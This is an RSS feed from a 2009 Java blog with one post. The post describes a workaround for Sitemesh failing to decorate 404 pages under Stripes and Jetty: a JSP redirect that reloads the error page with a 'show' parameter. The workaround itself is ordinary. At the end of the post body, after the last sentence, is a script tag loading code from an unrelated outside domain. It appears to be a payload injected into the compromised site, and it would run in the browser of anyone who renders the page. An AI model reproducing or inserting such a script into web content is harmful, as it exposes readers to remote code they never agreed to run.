<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Andy Nelsen &#187; Java</title>
	<atom:link href="http://www.andynelsen.com/category/java/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.andynelsen.com</link>
	<description>Just another WordPress weblog</description>
	<lastBuildDate>Thu, 19 Nov 2009 19:59:41 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.6</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Hack Alert: Decorate 404 and other HTTP error pages with Sitemesh/Stripes</title>
		<link>http://www.andynelsen.com/2009/11/10/hack-alert-decorate-404-and-other-http-error-pages-with-sitemeshstripes/</link>
		<comments>http://www.andynelsen.com/2009/11/10/hack-alert-decorate-404-and-other-http-error-pages-with-sitemeshstripes/#comments</comments>
		<pubDate>Tue, 10 Nov 2009 17:27:13 +0000</pubDate>
		<dc:creator>Andy</dc:creator>
				<category><![CDATA[Hackness]]></category>
		<category><![CDATA[Java]]></category>
		<category><![CDATA[jetty]]></category>
		<category><![CDATA[sitemesh]]></category>
		<category><![CDATA[stripes]]></category>

		<guid isPermaLink="false">http://www.andynelsen.com/?p=6</guid>
		<description><![CDATA[Dang. Second post and I&#8217;m already resorting to workarounds. This problem is particularly maddening, though, so any of you who have arrived at this page are probably at the point where you just want to make this work. Read on. 
Lots of people have had problem getting Sitemesh to decorate error pages in their applications. [...]]]></description>
			<content:encoded><![CDATA[<p>Dang. Second post and I&#8217;m already resorting to workarounds. This problem is particularly maddening, though, so any of you who have arrived at this page are probably at the point where you just want to make this work. Read on. </p>
<p>Lots of people have had problem getting Sitemesh to decorate error pages in their applications. You can create a custom error page and put content in it, but no matter what you do, you can&#8217;t get the boilerplate design decorations to render and you end up with a blank page with no head content and just the unstyled content you have put in the jsp. </p>
<p>I&#8217;ve seen people come across this error and it is not entirely clear who the culprit is in the stack. My config uses Stripes as the front controller, Sitemesh as the template/decoration engine, and everything is running on Jetty. </p>
<p><strong>This is in the web.xml:</strong></p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="sc3"><span class="re1">&lt;filter-mapping<span class="re2">&gt;</span></span></span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;filter-name<span class="re2">&gt;</span></span></span>StripesFilter<span class="sc3"><span class="re1">&lt;/filter-name<span class="re2">&gt;</span></span></span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;url-pattern<span class="re2">&gt;</span></span></span>*.jsp<span class="sc3"><span class="re1">&lt;/url-pattern<span class="re2">&gt;</span></span></span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;dispatcher<span class="re2">&gt;</span></span></span>REQUEST<span class="sc3"><span class="re1">&lt;/dispatcher<span class="re2">&gt;</span></span></span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;dispatcher<span class="re2">&gt;</span></span></span>ERROR<span class="sc3"><span class="re1">&lt;/dispatcher<span class="re2">&gt;</span></span></span></div>
</li>
<li class="li1">
<div class="de1"><span class="sc3"><span class="re1">&lt;/filter-mapping<span class="re2">&gt;</span></span></span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="sc3"><span class="re1">&lt;filter-mapping<span class="re2">&gt;</span></span></span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;filter-name<span class="re2">&gt;</span></span></span>sitemesh<span class="sc3"><span class="re1">&lt;/filter-name<span class="re2">&gt;</span></span></span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;url-pattern<span class="re2">&gt;</span></span></span>/*<span class="sc3"><span class="re1">&lt;/url-pattern<span class="re2">&gt;</span></span></span></div>
</li>
<li class="li1">
<div class="de1"><span class="sc3"><span class="re1">&lt;/filter-mapping<span class="re2">&gt;</span></span></span></div>
</li>
<li class="li1">
<div class="de1">&#8230;</div>
</li>
<li class="li1">
<div class="de1"><span class="sc3"><span class="re1">&lt;error-page<span class="re2">&gt;</span></span></span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;error-code<span class="re2">&gt;</span></span></span>404<span class="sc3"><span class="re1">&lt;/error-code<span class="re2">&gt;</span></span></span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="sc3"><span class="re1">&lt;location<span class="re2">&gt;</span></span></span>/not-found.jsp<span class="sc3"><span class="re1">&lt;/location<span class="re2">&gt;</span></span></span></div>
</li>
<li class="li1">
<div class="de1"><span class="sc3"><span class="re1">&lt;/error-page<span class="re2">&gt;</span></span></span></div>
</li>
</ol>
</div>
<p><strong>&#8230;and the actual error page&#8230;</strong> (irrelevant layout markup removed)</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">&lt;%@include file=&quot;/WEB-INF/jsp/include/page_header.jspf&quot; %&gt;
</div>
</li>
<li class="li1">
<div class="de1">&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;
</div>
</li>
<li class="li1">
<div class="de1">&lt;head&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot; /&gt;
</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &lt;title&gt;Title Meh&lt;/title&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &lt;link rel=&quot;stylesheet&quot; href=&quot;/library/css/screen.css&quot; type=&quot;text/css&quot; media=&quot;screen, projection&quot; /&gt;
</div>
</li>
<li class="li1">
<div class="de1">&lt;/head&gt;
</div>
</li>
<li class="li1">
<div class="de1">&lt;body&gt;
</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &lt;h1&gt;Oops!&lt;/h1&gt;
</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &lt;p&gt;The page you are looking for was not found.&lt;/p&gt;
</div>
</li>
<li class="li1">
<div class="de1">&lt;/body&gt;
</div>
</li>
<li class="li1">
<div class="de1">&lt;/html&gt;</div>
</li>
</ol>
</div>
<p>The problem seems to be that HTTP errors get routed around the decorator you have selected, even if you explicitly set a decorator for the page in decorators.xml. Instead, the unstyled error page is displayed raw. I&#8217;ve heard people say that the problem is a bug in Sitemesh and that it is fixed in newer versions, but even upgrading to 2.4.x does not solve the problem automatically. I&#8217;ve also heard people say that the problem is a Jetty bug, but I&#8217;m not sure about that because I&#8217;ve seen people complain of the same problem using Tomcat. </p>
<p>After a couple hours of wading through usergroups I have decided not to solve the problem but to bypass it in the name of getting something done for the day&#8230;</p>
<p><strong>The (Temporary) Solution</strong><br />
This workaround is intended only as a stopgap only. It is not ultimately an acceptable solution as the stack should be handling this situation itself, but when the boss just wants to see rounded corners on the error page, here is what to do:</p>
<p>Add the following to the top of your not-found.jsp page above the Doctype declaration:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">&lt;%</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>request.<span class="me1">getParameter</span><span class="br0">&#40;</span><span class="st0">&quot;show&quot;</span><span class="br0">&#41;</span> == <span class="kw2">null</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; response.<span class="me1">sendRedirect</span><span class="br0">&#40;</span><span class="st0">&quot;not-found.jsp?show=true&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">return</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">%&gt;</div>
</li>
</ol>
</div>
<p>When the page loads without the &#8220;show&#8221; parameter present, it will redirect back to itself. This has the effect of triggering a normal routing event that is then picked up by Sitemesh and decorated like all other normal requests. The page will reload and &#8230; win! Your page will be styled as expected and wrapped in whatever boilerplate code you have defined in the decorator. </p>
<p>The selection of &#8220;show&#8221; as the URL param to test for was arbitrary. You can use any parameter you want, as long as it isn&#8217;t a parameter used elsewhere in the application. </p>
<p>My hope is that somebody reading this will see what I&#8217;ve done wrong and correct me so that we can all benefit from the ultimate solution to the problem, but for those of you who are just desperate to see the expected behavior, this will hopefully make your day a little better!<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.andynelsen.com/2009/11/10/hack-alert-decorate-404-and-other-http-error-pages-with-sitemeshstripes/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
